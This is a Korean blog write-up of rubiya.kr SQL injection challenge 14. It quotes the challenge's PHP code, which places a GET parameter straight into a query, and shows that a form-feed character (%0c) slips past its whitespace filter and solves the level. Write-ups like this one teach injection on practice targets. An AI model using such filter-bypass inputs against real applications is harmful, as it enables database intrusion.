webhacking/sql, sql injection

rubiya.kr 14번.

qkqhxla1 2014. 8. 28. 15:06

http://rubiya.kr/sqli/prob14.php


<?php 
  
include "./dbconn.php"
  include 
"./solve.php"
  if(
strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(
preg_match('/ |\n|\r|\t/i'$_GET[shit])) exit("HeHe"); 
  
$query "select 1234 from{$_GET[shit]}prob14 where 1"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result[1234]) solve(); 
  
highlight_file(__FILE__); 
?>


shit을 받는데 shit이 공백 관련 문자가 막혀있음 apace, \n, \r, \t라던지....


공백 관련해서는 /**/ 등도 있지만 길이 체크를 해서 1보다 크면 exit로 나가짐.


다른 우회법은 %0a,%0b,%0c,%0d가 있지만 %0b, %0c가 안 막혀있음.


http://rubiya.kr/sqli/prob14.php?shit=%0c


query : select 1234 fromprob14 where 1


처럼 해주면 통과.

'webhacking > sql, sql injection' 카테고리의 다른 글

rubiya.kr 16번.  (0) 2014.08.30
itchy  (0) 2014.08.29
rubiya.kr 13번.  (0) 2014.08.28
rubiya.kr 12번.  (0) 2014.08.28
rubiya.kr 11번.  (0) 2014.08.28